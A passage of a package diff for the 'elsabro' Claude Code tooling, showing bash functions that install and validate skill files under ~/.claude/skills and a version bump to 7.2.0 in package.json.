if output=$(run_with_timeout "$NPX_TIMEOUT" bash -c "$install_cmd" 2>&1); then
|
|
135
|
+
log_info "Install succeeded"
|
|
136
|
+
|
|
137
|
+
# Extract skill name from command (--skill <name>)
|
|
138
|
+
local skill_name
|
|
139
|
+
skill_name=$(echo "$install_cmd" | sed -n 's/.*--skill \([a-zA-Z0-9_-]*\).*/\1/p')
|
|
140
|
+
|
|
141
|
+
# Invalidate discovery cache (so next run sees skill as installed)
|
|
142
|
+
if [[ -f "$CACHE_FILE" ]]; then
|
|
143
|
+
rm -f "$CACHE_FILE"
|
|
144
|
+
log_info "Discovery cache invalidated"
|
|
145
|
+
fi
|
|
146
|
+
|
|
147
|
+
json_ok "\"skill\":\"$skill_name\""
|
|
148
|
+
else
|
|
149
|
+
local exit_code=$?
|
|
150
|
+
if [[ $exit_code -eq 124 ]]; then
|
|
151
|
+
log_error "Install timed out after ${NPX_TIMEOUT}s"
|
|
152
|
+
json_error "install timed out after ${NPX_TIMEOUT}s"
|
|
153
|
+
else
|
|
154
|
+
log_error "Install failed (exit $exit_code): $output"
|
|
155
|
+
json_error "install failed: $(echo "$output" | tail -1 | tr '"' "'")"
|
|
156
|
+
fi
|
|
157
|
+
fi
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
# ============================================================================
|
|
161
|
+
# COMMAND: validate <skill_name>
|
|
162
|
+
# Checks installed file exists and has YAML frontmatter
|
|
163
|
+
# ============================================================================
|
|
164
|
+
|
|
165
|
+
cmd_validate() {
|
|
166
|
+
local skill_name="${1:-}"
|
|
167
|
+
|
|
168
|
+
if [[ -z "$skill_name" ]]; then
|
|
169
|
+
json_error "skill name required"
|
|
170
|
+
exit 0
|
|
171
|
+
fi
|
|
172
|
+
|
|
173
|
+
log_info "Validating skill: $skill_name"
|
|
174
|
+
|
|
175
|
+
# Check flat file first: ~/.claude/skills/<name>.md
|
|
176
|
+
local flat_path="${GLOBAL_SKILLS_DIR}/${skill_name}.md"
|
|
177
|
+
if [[ -f "$flat_path" ]]; then
|
|
178
|
+
local first_line
|
|
179
|
+
first_line=$(head -1 "$flat_path")
|
|
180
|
+
if [[ "$first_line" == "---" ]]; then
|
|
181
|
+
log_info "Valid skill at $flat_path (YAML frontmatter)"
|
|
182
|
+
json_ok "\"path\":\"$flat_path\",\"has_frontmatter\":true"
|
|
183
|
+
else
|
|
184
|
+
log_warn "File exists but no YAML frontmatter: $flat_path"
|
|
185
|
+
json_ok "\"path\":\"$flat_path\",\"has_frontmatter\":false"
|
|
186
|
+
fi
|
|
187
|
+
return
|
|
188
|
+
fi
|
|
189
|
+
|
|
190
|
+
# Check subdirectory fallback: ~/.claude/skills/<name>/SKILL.md
|
|
191
|
+
local subdir_path="${GLOBAL_SKILLS_DIR}/${skill_name}/SKILL.md"
|
|
192
|
+
if [[ -f "$subdir_path" ]]; then
|
|
193
|
+
local first_line
|
|
194
|
+
first_line=$(head -1 "$subdir_path")
|
|
195
|
+
if [[ "$first_line" == "---" ]]; then
|
|
196
|
+
log_info "Valid skill at $subdir_path (YAML frontmatter)"
|
|
197
|
+
json_ok "\"path\":\"$subdir_path\",\"has_frontmatter\":true"
|
|
198
|
+
else
|
|
199
|
+
log_warn "File exists but no YAML frontmatter: $subdir_path"
|
|
200
|
+
json_ok "\"path\":\"$subdir_path\",\"has_frontmatter\":false"
|
|
201
|
+
fi
|
|
202
|
+
return
|
|
203
|
+
fi
|
|
204
|
+
|
|
205
|
+
log_error "Skill not found: checked $flat_path and $subdir_path"
|
|
206
|
+
json_error "skill file not found after install"
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
# ============================================================================
|
|
210
|
+
# MAIN
|
|
211
|
+
# ============================================================================
|
|
212
|
+
|
|
213
|
+
cmd="${1:-}"
|
|
214
|
+
shift || true
|
|
215
|
+
|
|
216
|
+
case "$cmd" in
|
|
217
|
+
check) cmd_check ;;
|
|
218
|
+
install) cmd_install "$@" ;;
|
|
219
|
+
validate) cmd_validate "$@" ;;
|
|
220
|
+
*)
|
|
221
|
+
json_error "unknown command: $cmd (use: check, install, validate)"
|
|
222
|
+
exit 0
|
|
223
|
+
;;
|
|
224
|
+
esac
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "elsabro",
|
|
3
|
-
"version": "7.
|
|
3
|
+
"version": "7.2.0",
|
|
4
4
|
"description": "Sistema de desarrollo AI-powered para Claude Code - BMAD Method Integration, Spec-Driven Development, Party Mode, Next Step Suggestions, Stitch UI Design, Agent Teams, blocking code review, orquestación avanzada con flows declarativos",
|
|
5
5
|
"bin": {
|
|
6
6
|
"elsabro": "bin/install.js",
|